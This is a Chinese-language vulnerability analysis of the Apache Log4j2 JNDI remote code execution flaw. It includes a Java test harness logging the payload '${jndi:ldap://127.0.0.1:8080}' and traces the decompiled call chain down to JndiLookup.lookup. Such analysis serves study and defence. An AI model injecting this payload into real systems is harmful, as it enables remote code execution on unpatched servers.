Apache Log4j2 RCE 分析
环境介绍:log4j-api-2.10.0.jar
环境采用如上的环境
https://www.o2oxy.cn/3893.html
如果JDK版本高于191 那么需要如下的设置
package com.bycuimiao.demo;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class test {
private static final Logger logger = LogManager.getRootLogger();
public static void main(final String... args) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.error("${jndi:ldap://127.0.0.1:8080}");
}
}
通过在
打上断点。然后再跟进去跟到log4j-api-2.10.0.jar!\org\apache\logging\log4j\spi\AbstractLogger.tryLogMessage 打上断点 然后继续放行。下一次到了这个断点的时候查看一下是否如下:
如果有这么长的时候。那么就从第一步查看代码
error.log 调用的是如下的函数org\apache\logging\log4j\spi\AbstractLogger.error
public void error(String message) {
this.logIfEnabled(FQCN, Level.ERROR, (Marker)null, (String)message, (Throwable)((Throwable)null));
}
然后调用到
org\apache\logging\log4j\spi\AbstractLogger.logIfEnabled
public void logIfEnabled(String fqcn, Level level, Marker marker, String message, Throwable t) {
if (this.isEnabled(level, marker, message, t)) {
this.logMessage(fqcn, level, marker, message, t);
}
}
继续下一层
@PerformanceSensitive
private void tryLogMessage(String fqcn, Level level, Marker marker, Message msg, Throwable throwable) {
try {
this.logMessage(fqcn, level, marker, (Message)msg, (Throwable)throwable);
} catch (Exception var7) {
this.handleLogMessageException(var7, fqcn, msg);
}
}
他这个logMessage 其实是调用的是org\apache\logging\log4j\core\Logger.logMessage
public void logMessage(String fqcn, Level level, Marker marker, Message message, Throwable t) {
Message msg = message == null ? new SimpleMessage("") : message;
ReliabilityStrategy strategy = this.privateConfig.loggerConfig.getReliabilityStrategy();
strategy.log(this, this.getName(), fqcn, marker, level, (Message)msg, t);
}
继续向下跟踪org\apache\logging\log4j\core\config\AwaitCompletionReliabilityStrategy.log
public void log(Supplier<LoggerConfig> reconfigured, String loggerName, String fqcn, Marker marker, Level level, Message data, Throwable t) {
LoggerConfig config = this.getActiveLoggerConfig(reconfigured);
try {
config.log(loggerName, fqcn, marker, level, data, t);
} finally {
config.getReliabilityStrategy().afterLogEvent();
}
}
org\apache\logging\log4j\core\config\LoggerConfig.log
public void log(LogEvent event) {
if (!this.isFiltered(event)) {
this.processLogEvent(event);
}
}
跟踪到fromcat 函数 format 判断是否已${ 开头。然后进入到替换函数中。
public void format(LogEvent event, StringBuilder toAppendTo) {
Message msg = event.getMessage();
if (msg instanceof StringBuilderFormattable) {
boolean doRender = this.textRenderer != null;
StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
int offset = workingBuilder.length();
if (msg instanceof MultiFormatStringBuilderFormattable) {
((MultiFormatStringBuilderFormattable)msg).formatTo(this.formats, workingBuilder);
} else {
((StringBuilderFormattable)msg).formatTo(workingBuilder);
}
if (this.config != null && !this.noLookups) {
for(int i = offset; i < workingBuilder.length() - 1; ++i) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
}
}
}
if (doRender) {
this.textRenderer.render(workingBuilder, toAppendTo);
}
} else {
if (msg != null) {
String result;
if (msg instanceof MultiformatMessage) {
result = ((MultiformatMessage)msg).getFormattedMessage(this.formats);
} else {
result = msg.getFormattedMessage();
}
if (result != null) {
toAppendTo.append(this.config != null && result.contains("${") ? this.config.getStrSubstitutor().replace(event, result) : result);
} else {
toAppendTo.append("null");
}
}
}
}
}
format 调用了replace 参数org\apache\logging\log4j\core\lookup\StrSubstitutor.classreplace
public String replace(LogEvent event, String source) {
if (source == null) {
return null;
} else {
StringBuilder buf = new StringBuilder(source);
return !this.substitute(event, buf, 0, source.length()) ? source : buf.toString();
}
}
将替换后的 jndi:ldap://127.0.0.1:8080 放进了resolveVariable 函数 后调用了lookup 函数
public String lookup(LogEvent event, String var) {
if (var == null) {
return null;
} else {
int prefixPos = var.indexOf(58);
if (prefixPos >= 0) {
String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
String name = var.substring(prefixPos + 1);
StrLookup lookup = (StrLookup)this.lookups.get(prefix);
if (lookup instanceof ConfigurationAware) {
((ConfigurationAware)lookup).setConfiguration(this.configuration);
}
String value = null;
if (lookup != null) {
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
}
if (value != null) {
return value;
}
var = var.substring(prefixPos + 1);
}
if (this.defaultLookup != null) {
return event == null ? this.defaultLookup.lookup(var) : this.defaultLookup.lookup(event, var);
} else {
return null;
}
}
}
最终调用到org\apache\logging\log4j\core\lookup\JndiLookup.lookup 函数
public String lookup(LogEvent event, String key) {
if (key == null) {
return null;
} else {
String jndiName = this.convertJndiName(key);
try {
JndiManager jndiManager = JndiManager.getDefaultManager();
Throwable var5 = null;
String var6;
try {
var6 = Objects.toString(jndiManager.lookup(jndiName), (String)null);
} catch (Throwable var16) {
var5 = var16;
throw var16;
} finally {
if (jndiManager != null) {
if (var5 != null) {
try {
jndiManager.close();
} catch (Throwable var15) {
var5.addSuppressed(var15);
}
} else {
jndiManager.close();
}
}
}
return var6;
} catch (NamingException var18) {
LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, var18);
return null;
}
}
}
最终触发漏洞
jndiManager.lookup(jndiName)




